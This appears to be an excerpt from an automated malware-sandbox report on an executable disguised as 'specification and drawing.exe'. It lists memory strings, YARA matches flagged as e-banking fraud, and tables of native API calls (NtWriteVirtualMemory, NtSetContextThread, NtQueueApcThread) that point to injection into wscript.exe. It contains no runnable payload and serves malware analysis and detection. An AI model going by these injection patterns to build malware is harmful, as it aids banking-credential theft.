Source: wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/dedicated/?utm_source=www.synd.fun&utm_medium=parking&utm_campaign=s_land_server&
Source: wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/domain/new/?utm_source=www.synd.fun&utm_medium=parking&utm_campaign=s_land_new&am
Source: wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/hosting/?utm_source=www.synd.fun&utm_medium=parking&utm_campaign=s_land_host&
Source: wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/sozdanie-saita/
Source: wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/whois/?check=&dname=www.synd.fun&reg_source=parking_auto
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.ripe.net/

E-Banking Fraud

Source: Yara match	File source: 4.2.specification and drawing.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.specification and drawing.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2400421345.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4581614710.0000000000750000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4592454426.0000000004B70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2401176438.0000000001030000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4590637504.0000000004660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4590687371.00000000046B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4589607610.0000000003BF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2402440519.0000000001E90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0042CB93 NtClose,	4_2_0042CB93
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102B60 NtClose,LdrInitializeThunk,	4_2_01102B60
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102DF0 NtQuerySystemInformation,LdrInitializeThunk,	4_2_01102DF0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102C70 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_01102C70
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011035C0 NtCreateMutant,LdrInitializeThunk,	4_2_011035C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01104340 NtSetContextThread,	4_2_01104340
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01104650 NtSuspendThread,	4_2_01104650
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102B80 NtQueryInformationFile,	4_2_01102B80
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102BA0 NtEnumerateValueKey,	4_2_01102BA0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102BF0 NtAllocateVirtualMemory,	4_2_01102BF0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102BE0 NtQueryValueKey,	4_2_01102BE0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102AB0 NtWaitForSingleObject,	4_2_01102AB0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102AD0 NtReadFile,	4_2_01102AD0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102AF0 NtWriteFile,	4_2_01102AF0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102D10 NtMapViewOfSection,	4_2_01102D10
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102D00 NtSetInformationFile,	4_2_01102D00
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102D30 NtUnmapViewOfSection,	4_2_01102D30
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102DB0 NtEnumerateKey,	4_2_01102DB0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102DD0 NtDelayExecution,	4_2_01102DD0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102C00 NtQueryInformationProcess,	4_2_01102C00
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102C60 NtCreateKey,	4_2_01102C60
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102CA0 NtQueryInformationToken,	4_2_01102CA0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102CC0 NtQueryVirtualMemory,	4_2_01102CC0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102CF0 NtOpenProcess,	4_2_01102CF0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102F30 NtCreateSection,	4_2_01102F30
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102F60 NtCreateProcessEx,	4_2_01102F60
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102F90 NtProtectVirtualMemory,	4_2_01102F90
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102FB0 NtResumeThread,	4_2_01102FB0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102FA0 NtQuerySection,	4_2_01102FA0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102FE0 NtCreateFile,	4_2_01102FE0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102E30 NtWriteVirtualMemory,	4_2_01102E30
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102E80 NtReadVirtualMemory,	4_2_01102E80
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102EA0 NtAdjustPrivilegesToken,	4_2_01102EA0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01102EE0 NtQueueApcThread,	4_2_01102EE0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01103010 NtOpenDirectoryObject,	4_2_01103010
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01103090 NtSetValueKey,	4_2_01103090
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011039B0 NtGetContextThread,	4_2_011039B0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01103D10 NtOpenProcessToken,	4_2_01103D10
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01103D70 NtOpenThread,	4_2_01103D70
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04924650 NtSuspendThread,LdrInitializeThunk,	8_2_04924650
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04924340 NtSetContextThread,LdrInitializeThunk,	8_2_04924340
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922CA0 NtQueryInformationToken,LdrInitializeThunk,	8_2_04922CA0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922C70 NtFreeVirtualMemory,LdrInitializeThunk,	8_2_04922C70
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922C60 NtCreateKey,LdrInitializeThunk,	8_2_04922C60
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922DD0 NtDelayExecution,LdrInitializeThunk,	8_2_04922DD0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922DF0 NtQuerySystemInformation,LdrInitializeThunk,	8_2_04922DF0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922D10 NtMapViewOfSection,LdrInitializeThunk,	8_2_04922D10
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922D30 NtUnmapViewOfSection,LdrInitializeThunk,	8_2_04922D30
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922E80 NtReadVirtualMemory,LdrInitializeThunk,	8_2_04922E80
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922EE0 NtQueueApcThread,LdrInitializeThunk,	8_2_04922EE0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922FB0 NtResumeThread,LdrInitializeThunk,	8_2_04922FB0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922FE0 NtCreateFile,LdrInitializeThunk,	8_2_04922FE0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922F30 NtCreateSection,LdrInitializeThunk,	8_2_04922F30
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922AD0 NtReadFile,LdrInitializeThunk,	8_2_04922AD0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922AF0 NtWriteFile,LdrInitializeThunk,	8_2_04922AF0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922BA0 NtEnumerateValueKey,LdrInitializeThunk,	8_2_04922BA0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	8_2_04922BF0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922BE0 NtQueryValueKey,LdrInitializeThunk,	8_2_04922BE0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922B60 NtClose,LdrInitializeThunk,	8_2_04922B60
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049235C0 NtCreateMutant,LdrInitializeThunk,	8_2_049235C0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049239B0 NtGetContextThread,LdrInitializeThunk,	8_2_049239B0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922CC0 NtQueryVirtualMemory,	8_2_04922CC0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922CF0 NtOpenProcess,	8_2_04922CF0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922C00 NtQueryInformationProcess,	8_2_04922C00
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922DB0 NtEnumerateKey,	8_2_04922DB0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922D00 NtSetInformationFile,	8_2_04922D00
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922EA0 NtAdjustPrivilegesToken,	8_2_04922EA0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922E30 NtWriteVirtualMemory,	8_2_04922E30
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922F90 NtProtectVirtualMemory,	8_2_04922F90
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922FA0 NtQuerySection,	8_2_04922FA0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922F60 NtCreateProcessEx,	8_2_04922F60
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922AB0 NtWaitForSingleObject,	8_2_04922AB0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04922B80 NtQueryInformationFile,	8_2_04922B80
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04923090 NtSetValueKey,	8_2_04923090
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04923010 NtOpenDirectoryObject,	8_2_04923010
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04923D10 NtOpenProcessToken,	8_2_04923D10
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04923D70 NtOpenThread,	8_2_04923D70
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_007793C0 NtCreateFile,	8_2_007793C0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_00779530 NtReadFile,	8_2_00779530
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_00779630 NtDeleteFile,	8_2_00779630
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_007796E0 NtClose,	8_2_007796E0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_00779850 NtAllocateVirtualMemory,	8_2_00779850

Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_013E43E8	0_2_013E43E8
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_013EE094	0_2_013EE094
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_013E7051	0_2_013E7051
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_071D3F40	0_2_071D3F40
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_071D77F8	0_2_071D77F8
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_071D77E8	0_2_071D77E8
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_071DE650	0_2_071DE650
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_071D9448	0_2_071D9448
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_071D73C0	0_2_071D73C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_071D3F30	0_2_071D3F30
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_071D6F88	0_2_071D6F88
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_071D8A98	0_2_071D8A98
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_07C5F788	0_2_07C5F788
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_07C541C4	0_2_07C541C4
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_07C5F778	0_2_07C5F778
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_07C56D31	0_2_07C56D31
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_07C5CAC7	0_2_07C5CAC7
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_07C541B3	0_2_07C541B3
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_07C50040	0_2_07C50040
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_07C5C840	0_2_07C5C840
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 0_2_07C5C830	0_2_07C5C830
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_00418A03	4_2_00418A03
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_00402950	4_2_00402950
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0042F1E3	4_2_0042F1E3
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_00410203	4_2_00410203
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_00403210	4_2_00403210
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_00416C0E	4_2_00416C0E
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_00416C13	4_2_00416C13
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0040E419	4_2_0040E419
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_00410423	4_2_00410423
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0040E423	4_2_0040E423
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_00402540	4_2_00402540
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0040E567	4_2_0040E567
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0040E573	4_2_0040E573
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C0100	4_2_010C0100
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0116A118	4_2_0116A118
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01158158	4_2_01158158
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011901AA	4_2_011901AA
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011881CC	4_2_011881CC
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01162000	4_2_01162000
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118A352	4_2_0118A352
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010DE3F0	4_2_010DE3F0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011903E6	4_2_011903E6
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01170274	4_2_01170274
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011502C0	4_2_011502C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0535	4_2_010D0535
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01190591	4_2_01190591
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01182446	4_2_01182446
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0117E4F6	4_2_0117E4F6
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F4750	4_2_010F4750
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0770	4_2_010D0770
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CC7C0	4_2_010CC7C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EC6E0	4_2_010EC6E0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E6962	4_2_010E6962
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D29A0	4_2_010D29A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0119A9A6	4_2_0119A9A6
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D2840	4_2_010D2840
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010DA840	4_2_010DA840
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010B68B8	4_2_010B68B8
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FE8F0	4_2_010FE8F0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118AB40	4_2_0118AB40
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01186BD7	4_2_01186BD7
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CEA80	4_2_010CEA80
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010DAD00	4_2_010DAD00
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E8DBF	4_2_010E8DBF
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CADE0	4_2_010CADE0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0C00	4_2_010D0C00
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01170CB5	4_2_01170CB5
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C0CF2	4_2_010C0CF2
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01112F28	4_2_01112F28
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F0F30	4_2_010F0F30
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01144F40	4_2_01144F40
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114EFA0	4_2_0114EFA0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C2FC8	4_2_010C2FC8
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010DCFE0	4_2_010DCFE0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118EE26	4_2_0118EE26
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0E59	4_2_010D0E59
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118CE93	4_2_0118CE93
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E2E90	4_2_010E2E90
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118EEDB	4_2_0118EEDB
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0119B16B	4_2_0119B16B
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BF172	4_2_010BF172
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0110516C	4_2_0110516C
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010DB1B0	4_2_010DB1B0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D70C0	4_2_010D70C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0117F0CC	4_2_0117F0CC
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011870E9	4_2_011870E9
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118F0E0	4_2_0118F0E0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118132D	4_2_0118132D
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BD34C	4_2_010BD34C
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0111739A	4_2_0111739A
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D52A0	4_2_010D52A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EB2C0	4_2_010EB2C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011712ED	4_2_011712ED
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01187571	4_2_01187571
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0116D5B0	4_2_0116D5B0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118F43F	4_2_0118F43F
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C1460	4_2_010C1460
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118F7B0	4_2_0118F7B0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011816CC	4_2_011816CC
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D9950	4_2_010D9950
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EB950	4_2_010EB950
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113D800	4_2_0113D800
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D38E0	4_2_010D38E0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118FB76	4_2_0118FB76
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EFB80	4_2_010EFB80
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01145BF0	4_2_01145BF0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0110DBF9	4_2_0110DBF9
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118FA49	4_2_0118FA49
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01187A46	4_2_01187A46
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01143A6C	4_2_01143A6C
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01115AA0	4_2_01115AA0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0116DAAC	4_2_0116DAAC
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0117DAC6	4_2_0117DAC6
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01181D5A	4_2_01181D5A
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D3D40	4_2_010D3D40
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01187D73	4_2_01187D73
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EFDC0	4_2_010EFDC0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01149C32	4_2_01149C32
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118FCF2	4_2_0118FCF2
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118FF09	4_2_0118FF09
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D1F92	4_2_010D1F92
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118FFB1	4_2_0118FFB1
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D9EB0	4_2_010D9EB0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0499E4F6	8_2_0499E4F6
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04994420	8_2_04994420
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049A2446	8_2_049A2446
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049B0591	8_2_049B0591
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048F0535	8_2_048F0535
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0490C6E0	8_2_0490C6E0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048EC7C0	8_2_048EC7C0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04914750	8_2_04914750
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048F0770	8_2_048F0770
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04982000	8_2_04982000
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049B01AA	8_2_049B01AA
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049A41A2	8_2_049A41A2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049A81CC	8_2_049A81CC
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0498A118	8_2_0498A118
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048E0100	8_2_048E0100
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04978158	8_2_04978158
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049702C0	8_2_049702C0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04990274	8_2_04990274
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049B03E6	8_2_049B03E6
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048FE3F0	8_2_048FE3F0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049AA352	8_2_049AA352
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04990CB5	8_2_04990CB5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048E0CF2	8_2_048E0CF2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048F0C00	8_2_048F0C00
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04908DBF	8_2_04908DBF
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048EADE0	8_2_048EADE0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0498CD1F	8_2_0498CD1F
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048FAD00	8_2_048FAD00
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04902E90	8_2_04902E90
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049ACE93	8_2_049ACE93
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049AEEDB	8_2_049AEEDB
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_049AEE26	8_2_049AEE26
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048F0E59	8_2_048F0E59
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0496EFA0	8_2_0496EFA0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048E2FC8	8_2_048E2FC8
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048FCFE0	8_2_048FCFE0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04910F30	8_2_04910F30
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04992F30	8_2_04992F30
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04932F28	8_2_04932F28
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_04964F40	8_2_04964F40
